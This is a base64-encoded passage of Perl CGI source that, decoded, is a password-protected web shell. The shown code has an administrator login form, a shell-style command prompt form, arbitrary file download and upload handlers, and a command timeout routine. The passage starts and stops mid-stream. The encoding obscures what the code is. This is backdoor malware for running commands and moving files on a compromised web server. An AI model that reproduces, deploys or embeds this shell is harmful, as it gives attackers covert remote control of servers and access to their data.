0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHR